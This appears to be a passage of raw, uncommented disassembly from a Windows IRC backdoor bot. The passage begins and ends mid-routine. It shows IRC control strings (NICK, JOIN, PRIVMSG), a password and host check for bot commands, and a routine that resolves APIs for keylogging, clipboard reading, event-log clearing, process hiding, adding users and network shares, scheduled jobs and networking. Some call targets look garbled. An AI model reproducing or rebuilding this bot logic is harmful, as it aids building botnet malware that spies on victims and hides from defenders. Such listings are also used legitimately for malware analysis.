eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F6C lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409477: ; CODE XREF: sub_401AC7+7A21j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F6C push esi call sub_41BEF9 push eax call sub_40B4E8 pop ecx pop ecx test eax, eax push esi jz short loc_40949E push offset unk_429D64 jmp short loc_4094A3 ; --------------------------------------------------------------------------- loc_40949E: ; CODE XREF: sub_401AC7+79CEj push offset unk_429D38 loc_4094A3: ; CODE XREF: sub_401AC7+79D5j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094D3 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4094D3: ; CODE XREF: sub_401AC7+79EEj lea eax, [ebp+var_2C4] push eax call sub_415CEE add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409477 jmp loc_401F6C ; --------------------------------------------------------------------------- loc_4094EF: ; CODE XREF: sub_401AC7+3D89j ; sub_401AC7+3DA0j cmp [ebp+var_C], ebx jz loc_409643 push edi push [ebp+var_C] call sub_41C080 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409643 push esi push offset dword_42A2EC push [ebp+arg_4] call sub_40981C push esi push offset unk_429D20 jmp loc_408A7D ; --------------------------------------------------------------------------- loc_409526: ; CODE XREF: sub_401AC7+3D5Bj ; sub_401AC7+3D72j push edi push offset dword_42A250 push [ebp+arg_4] call sub_40981C push edi push offset unk_429D00 jmp loc_408A7D ; --------------------------------------------------------------------------- loc_40953F: ; CODE XREF: sub_401AC7+3D2Dj ; sub_401AC7+3D44j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C push edi push offset unk_429CE0 jmp loc_408954 ; --------------------------------------------------------------------------- loc_40955F: ; CODE XREF: sub_401AC7+3CFFj ; sub_401AC7+3D16j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C push edi push offset unk_429CBC jmp loc_408A7D ; --------------------------------------------------------------------------- loc_409578: ; CODE XREF: sub_401AC7+3152j ; sub_401AC7+3169j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push edi lea eax, [ebp+var_2C4] push offset unk_429C9C push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 1Ch loc_4095AC: ; CODE XREF: sub_401AC7+7B2Dj push eax nop call near ptr 26A053Bh loc_4095B3: ; CODE XREF: sub_401AC7+2A6Fj xor eax, eax jmp loc_401F6F ; --------------------------------------------------------------------------- loc_4095BA: ; CODE XREF: sub_401AC7+3124j ; sub_401AC7+313Bj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push edi lea eax, [ebp+var_2C4] push offset unk_429C74 push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax call sub_415CEE push edi call sub_41BEF9 add esp, 1Ch imul eax, 3E8h jmp short loc_4095AC ; --------------------------------------------------------------------------- loc_4095F6: ; CODE XREF: sub_401AC7+EA0j ; sub_401AC7+EB5j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_429098 push eax call sub_40AE77 lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_338] push eax push offset unk_429C50 call sub_415D62 loc_409640: ; CODE XREF: sub_401AC7+5206j add esp, 24h loc_409643: ; CODE XREF: sub_401AC7+63Aj ; sub_401AC7+646j ... mov eax, [ebp+arg_24] jmp loc_401F6F ; --------------------------------------------------------------------------- loc_40964B: ; CODE XREF: sub_401AC7+A8Dj ; sub_401AC7+AA0j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F6C cmp [ebp+var_A4], ebx jnz loc_401F6C push offset asc_42CDC8 ; "!" push [ebp+var_90] call sub_41C864 mov esi, eax push offset word_4C91BC push ebx inc esi call sub_41C864 push offset asc_429C4C ; "~" push eax call sub_41C864 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41C7E0 add esp, 20h test eax, eax jz short loc_4096E1 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40981C push edi push esi push offset unk_429BCC jmp short loc_40973D ; --------------------------------------------------------------------------- loc_4096E1: ; CODE XREF: sub_401AC7+7BDFj mov [ebp+arg_24], offset off_429160 loc_4096E8: ; CODE XREF: sub_401AC7+7C3Dj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B706 pop ecx test eax, eax pop ecx jnz short loc_409751 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jl short loc_4096E8 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_40981C lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_40981C push edi push esi push offset unk_429B78 loc_40973D: ; CODE XREF: sub_401AC7+7C18j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 30h jmp loc_40830C ; --------------------------------------------------------------------------- loc_409751: ; CODE XREF: sub_401AC7+7C30j mov edi, [ebp+arg_18] xor esi, esi loc_409756: ; CODE XREF: sub_401AC7+7CB9j cmp [ebp+arg_20], ebx jz loc_401F6C cmp [edi], bl jnz short loc_409776 push [ebp+arg_20] push offset aCool ; "cool" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_409787 loc_409776: ; CODE XREF: sub_401AC7+7C9Aj inc esi add edi, 80h cmp esi, 3 jl short loc_409756 jmp loc_401F6C ; --------------------------------------------------------------------------- loc_409787: ; CODE XREF: sub_401AC7+7CADj shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BD70 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BE push ebx push [ebp+var_4] push offset unk_429B58 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4097BE: ; CODE XREF: sub_401AC7+7CDBj lea eax, [ebp+var_C4] push eax push offset unk_429B38 loc_4097CA: ; CODE XREF: sub_401AC7+592j ; sub_401AC7+286Fj ... call sub_415D62 loc_4097CF: ; CODE XREF: sub_401AC7+1B74j pop ecx loc_4097D0: ; CODE XREF: sub_401AC7+24E7j pop ecx jmp loc_401F6C ; --------------------------------------------------------------------------- loc_4097D6: ; CODE XREF: sub_401AC7+20Ej ; sub_401AC7+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40981C push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40981C push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40981C add esp, 2Ch mov dword_4C91B4, edi jmp loc_401D64 sub_401AC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40981C proc near ; CODE XREF: sub_40194F+3Dp ; sub_401AC7+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C900 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 leave retn sub_40981C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409862 proc near ; CODE XREF: sub_401AC7+503p ; sub_401AC7+1341p ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40987D mov edi, offset aPrivmsg ; "PRIVMSG" loc_40987D: ; CODE XREF: sub_409862+14j push edi call sub_41B960 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B960 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_1 ; "%s" push esi push eax call sub_41C100 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4C9354 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4098FB push 7D0h nop call near ptr 26A053Bh locret_4098FB: ; CODE XREF: sub_409862+8Cj leave retn sub_409862 endp ; =============== S U B R O U T I N E ======================================= sub_4098FD proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270AC push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270CC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A1D push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4C93B0, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4C9324, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4C9308, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4C9218, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4C91C4, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4C91F4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4C926C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4C9364, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4C93C0, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4C9224, eax call esi cmp dword_4C93B0, ebx mov dword_4C920C, eax jz short loc_4099FB cmp dword_4C9324, ebx jz short loc_4099FB cmp dword_4C9308, ebx jz short loc_4099FB cmp dword_4C9218, ebx jz short loc_4099FB cmp dword_4C91F4, ebx jz short loc_4099FB cmp dword_4C926C, ebx jz short loc_4099FB cmp dword_4C9364, ebx jz short loc_4099FB cmp dword_4C93C0, ebx jz short loc_4099FB cmp dword_4C9224, ebx jz short loc_4099FB cmp eax, ebx jnz short loc_409A05 loc_4099FB: ; CODE XREF: sub_4098FD+B8j ; sub_4098FD+C0j ... mov dword_4C93C4, 1 loc_409A05: ; CODE XREF: sub_4098FD+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4C933C, eax jz short loc_409A32 push 1 push ebx call eax jmp short loc_409A32 ; --------------------------------------------------------------------------- loc_409A1D: ; CODE XREF: sub_4098FD+1Dj call near ptr 26A0EA9h nop mov dword_4C93C8, eax mov dword_4C93C4, 1 loc_409A32: ; CODE XREF: sub_4098FD+117j ; sub_4098FD+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 26C0BA5h nop mov edi, eax cmp edi, ebx jz loc_409B47 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4C9360, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4C9310, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4C92A4, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4C93B4, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4C92D4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4C92F4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4C9358, eax call esi cmp dword_4C9360, ebx mov dword_4C9244, eax jz short loc_409AEB cmp dword_4C9310, ebx jz short loc_409AEB cmp dword_4C92A4, ebx jz short loc_409AEB cmp dword_4C93B4, ebx jz short loc_409AEB cmp dword_4C92D4, ebx jz short loc_409AEB cmp dword_4C92F4, ebx jz short loc_409AEB cmp dword_4C9358, ebx jz short loc_409AEB cmp eax, ebx jnz short loc_409AF5 loc_409AEB: ; CODE XREF: sub_4098FD+1B8j ; sub_4098FD+1C0j ... mov dword_4C93CC, 1 loc_409AF5: ; CODE XREF: sub_4098FD+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4C92D0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4C91D8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4C92A0, eax call esi cmp dword_4C92D0, ebx mov dword_4C9288, eax jz short loc_409B52 cmp dword_4C91D8, ebx jz short loc_409B52 cmp dword_4C92A0, ebx jz short loc_409B52 cmp eax, ebx jnz short loc_409B5C jmp short loc_409B52 ; --------------------------------------------------------------------------- loc_409B47: ; CODE XREF: sub_4098FD+144j nop call near ptr 26A0EA9h mov dword_4C93D0, eax loc_409B52: ; CODE XREF: sub_4098FD+232j ; sub_4098FD+23Aj ... mov dword_4C93CC, 1 loc_409B5C: ; CODE XREF: sub_4098FD+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D15 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4C9374, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4C92B8, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4C9328, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4C9204, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4C9268, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4C92E0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4C9284, eax call esi cmp dword_4C9374, ebx mov dword_4C9294, eax jz short loc_409C05 cmp dword_4C92B8, ebx jz short loc_409C05 cmp dword_4C9328, ebx jz short loc_409C05 cmp dword_4C9204, ebx jz short loc_409C05 cmp dword_4C9268, ebx jz short loc_409C05 cmp dword_4C92E0, ebx jnz short loc_409C0F loc_409C05: ; CODE XREF: sub_4098FD+2DEj ; sub_4098FD+2E6j ... mov dword_4C93D4, 1 loc_409C0F: ; CODE XREF: sub_4098FD+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4C92E8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4C92C0, eax call esi cmp dword_4C92E8, ebx mov dword_4C9370, eax jz short loc_409C4A cmp dword_4C92C0, ebx jz short loc_409C4A cmp eax, ebx jnz short loc_409C54 loc_409C4A: ; CODE XREF: sub_4098FD+33Fj ; sub_4098FD+347j mov dword_4C93D4, 1 loc_409C54: ; CODE XREF: sub_4098FD+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4C92F8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4C91E0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4C91E8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4C924C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4C9250, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4C91FC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4C92C4, eax call esi cmp dword_4C92F8, ebx mov dword_4C91EC, eax jz short loc_409CF8 cmp dword_4C91E0, ebx jz short loc_409CF8 cmp dword_4C91E8, ebx jz short loc_409CF8 cmp dword_4C924C, ebx jz short loc_409CF8 cmp dword_4C9250, ebx jz short loc_409CF8 cmp dword_4C91FC, ebx jz short loc_409CF8 cmp dword_4C92C4, ebx jz short loc_409CF8 cmp eax, ebx jnz short loc_409D02 loc_409CF8: ; CODE XREF: sub_4098FD+3C5j ; sub_4098FD+3CDj ... mov dword_4C93D4, 1 loc_409D02: ; CODE XREF: sub_4098FD+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4C91E4, eax jnz short loc_409D2A jmp short loc_409D20 ; --------------------------------------------------------------------------- loc_409D15: ; CODE XREF: sub_4098FD+26Aj nop call near ptr 26A0EA9h mov dword_4C93D8, eax loc_409D20: ; CODE XREF: sub_4098FD+416j mov dword_4C93D4, 1 loc_409D2A: ; CODE XREF: sub_4098FD+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409DF6 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4C92F0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4C9348, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4C9350, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4C930C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4C9228, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4C91D4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4C934C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4C91C0, eax call esi cmp dword_4C92F0, ebx mov dword_4C9260, eax jz short loc_409E01 cmp dword_4C9348, ebx jz short loc_409E01 cmp dword_4C9350, ebx jz short loc_409E01 cmp dword_4C930C, ebx jz short loc_409E01 cmp dword_4C9228, ebx jz short loc_409E01 cmp dword_4C91D4, ebx jz short loc_409E01 cmp dword_4C934C, ebx jz short loc_409E01 cmp dword_4C91C0, ebx jz short loc_409E01 cmp eax, ebx jnz short loc_409E0B jmp short loc_409E01 ; --------------------------------------------------------------------------- loc_409DF6: ; CODE XREF: sub_4098FD+438j nop call near ptr 26A0EA9h mov dword_4C93E0, eax loc_409E01: ; CODE XREF: sub_4098FD+4B9j ; sub_4098FD+4C1j ... mov dword_4C93DC, 1 loc_409E0B: ; CODE XREF: sub_4098FD+4F5j mov ebp, dword_4270C8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0C7 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4C9274, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4C93A8, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4C9214, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4C91F0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4C92B0, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4C9298, eax call esi push offset aSocket ; "socket" push edi mov dword_4C925C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4C9384, eax call esi push offset aConnect ; "connect" push edi mov dword_4C93A0, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4C92AC, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4C9390, eax call esi push offset aHtons ; "htons" push edi mov dword_4C9344, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4C9304, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4C9300, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4C9234, eax call esi push offset aSend ; "send" push edi mov dword_4C922C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4C9354, eax call esi push offset aRecv ; "recv" push edi mov dword_4C9368, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4C931C, eax call esi mov dword_4C92DC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4C9330, eax call esi push offset aListen ; "listen" push edi mov dword_4C92EC, eax call esi push offset aAccept ; "accept" push edi mov dword_4C932C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4C9398, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4C92E4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4C92A8, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4C9318, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4C9388, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4C92BC, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4C9258, eax call esi cmp dword_4C9274, ebx mov dword_4C939C, eax jz loc_40A0D2 cmp dword_4C93A8, ebx jz loc_40A0D2 cmp dword_4C9214, ebx jz loc_40A0D2 cmp dword_4C92B0, ebx jz loc_40A0D2 cmp dword_4C9298, ebx jz loc_40A0D2 cmp dword_4C925C, ebx jz loc_40A0D2 cmp dword_4C9384, ebx jz loc_40A0D2 cmp dword_4C93A0, ebx jz loc_40A0D2 cmp dword_4C92AC, ebx jz loc_40A0D2 cmp dword_4C9390, ebx jz loc_40A0D2 cmp dword_4C9344, ebx jz loc_40A0D2 cmp dword_4C9304, ebx jz loc_40A0D2 cmp dword_4C9300, ebx jz loc_40A0D2 cmp dword_4C9234, ebx jz short loc_40A0D2 cmp dword_4C9354, ebx jz short loc_40A0D2 cmp dword_4C9368, ebx jz short loc_40A0D2 cmp dword_4C931C, ebx jz short loc_40A0D2 cmp dword_4C92DC, ebx jz short loc_40A0D2 cmp dword_4C9330, ebx jz short loc_40A0D2 cmp dword_4C92EC, ebx jz short loc_40A0D2 cmp dword_4C932C, ebx jz short loc_40A0D2 cmp dword_4C9398, ebx jz short loc_40A0D2 cmp dword_4C92E4, ebx jz short loc_40A0D2 cmp dword_4C92A8, ebx jz short loc_40A0D2 cmp dword_4C9318, ebx jz short loc_40A0D2 cmp dword_4C9388, ebx jz short loc_40A0D2 cmp dword_4C92BC, ebx jz short loc_40A0D2 cmp eax, ebx jnz short loc_40A0DC jmp short loc_40A0D2 ; --------------------------------------------------------------------------- loc_40A0C7: ; CODE XREF: sub_4098FD+51Fj nop call near ptr 26A0EA9h mov dword_4C93E8, eax loc_40A0D2: ; CODE XREF: sub_4098FD+6BEj ; sub_4098FD+6CAj ... mov dword_4C93E4, 1 loc_40A0DC: ; CODE XREF: sub_4098FD+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1E1 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4C9240, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4C91C8, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4C92CC, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4C9278, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4C92D8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4C929C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4C9208, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4C9200, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4C9210, eax call esi cmp dword_4C9240, ebx mov ecx, dword_4C929C mov dword_4C9338, eax jz short loc_40A1BD cmp dword_4C91C8, ebx jz short loc_40A1BD cmp dword_4C92CC, ebx jz short loc_40A1BD cmp dword_4C9278, ebx jz short loc_40A1BD cmp dword_4C92D8, ebx jz short loc_40A1BD cmp ecx, ebx jz short loc_40A1BD cmp dword_4C9208, ebx jz short loc_40A1BD cmp dword_4C9200, ebx jz short loc_40A1BD cmp dword_4C9210, ebx jz short loc_40A1BD cmp eax, ebx jnz short loc_40A1C7 loc_40A1BD: ; CODE XREF: sub_4098FD+87Ej ; sub_4098FD+886j ... mov dword_4C93EC, 1 loc_40A1C7: ; CODE XREF: sub_4098FD+8BEj cmp ecx, ebx jz short loc_40A1FC push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4C92B4, eax jnz short loc_40A1FC jmp short loc_40A1F6 ; --------------------------------------------------------------------------- loc_40A1E1: ; CODE XREF: sub_4098FD+7EAj nop call near ptr 26A0EA9h mov dword_4C93F0, eax mov dword_4C93EC, 1 loc_40A1F6: ; CODE XREF: sub_4098FD+8E2j mov dword_4C92B4, ebx loc_40A1FC: ; CODE XREF: sub_4098FD+8CCj ; sub_4098FD+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A246 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4C928C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4C93BC, eax call esi cmp dword_4C928C, ebx mov dword_4C921C, eax jz short loc_40A251 cmp dword_4C93BC, ebx jz short loc_40A251 cmp eax, ebx jnz short loc_40A25B jmp short loc_40A251 ; --------------------------------------------------------------------------- loc_40A246: ; CODE XREF: sub_4098FD+90Aj nop call near ptr 26A0EA9h mov dword_4C93F8, eax loc_40A251: ; CODE XREF: sub_4098FD+939j ; sub_4098FD+941j ... mov dword_4C93F4, 1 loc_40A25B: ; CODE XREF: sub_4098FD+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A362 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4C91F8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4C91D0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4C9248, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4C927C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4C9394, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4C9230, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4C91DC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4C91CC, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4C9264, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4C935C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4C9314, eax call esi cmp dword_4C91F8, ebx mov dword_4C9238, eax jz short loc_40A36D cmp dword_4C91D0, ebx jz short loc_40A36D cmp dword_4C9248, ebx jz short loc_40A36D cmp dword_4C927C, ebx jz short loc_40A36D cmp dword_4C9394, ebx jz short loc_40A36D cmp dword_4C9230, ebx jz short loc_40A36D cmp dword_4C91DC, ebx jz short loc_40A36D cmp dword_4C91CC, ebx jz short loc_40A36D cmp dword_4C9264, ebx jz short loc_40A36D cmp dword_4C935C, ebx jz short loc_40A36D cmp dword_4C9314, ebx jnz short loc_40A377 jmp short loc_40A36D ; --------------------------------------------------------------------------- loc_40A362: ; CODE XREF: sub_4098FD+969j call near ptr 26A0EA9h nop mov dword_4C9400, eax loc_40A36D: ; CODE XREF: sub_4098FD+A11j ; sub_4098FD+A19j ... mov dword_4C93FC, 1 loc_40A377: ; CODE XREF: sub_4098FD+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3AC push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4C9220, eax call esi cmp dword_4C9220, ebx mov dword_4C92FC, eax jz short loc_40A3B7 cmp eax, ebx jnz short loc_40A3C1 jmp short loc_40A3B7 ; --------------------------------------------------------------------------- loc_40A3AC: ; CODE XREF: sub_4098FD+A85j nop call near ptr 26A0EA9h mov dword_4C9408, eax loc_40A3B7: ; CODE XREF: sub_4098FD+AA7j ; sub_4098FD+AADj mov dword_4C9404, 1 loc_40A3C1: ; CODE XREF: sub_4098FD+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3F6 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4C9380, eax call esi cmp dword_4C9380, ebx mov dword_4C937C, eax jz short loc_40A401 cmp eax, ebx jnz short loc_40A40B jmp short loc_40A401 ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_4098FD+ACFj nop call near ptr 26A0EA9h mov dword_4C9410, eax loc_40A401: ; CODE XREF: sub_4098FD+AF1j ; sub_4098FD+AF7j mov dword_4C940C, 1 loc_40A40B: ; CODE XREF: sub_4098FD+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A46A push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4C93AC, eax call esi push 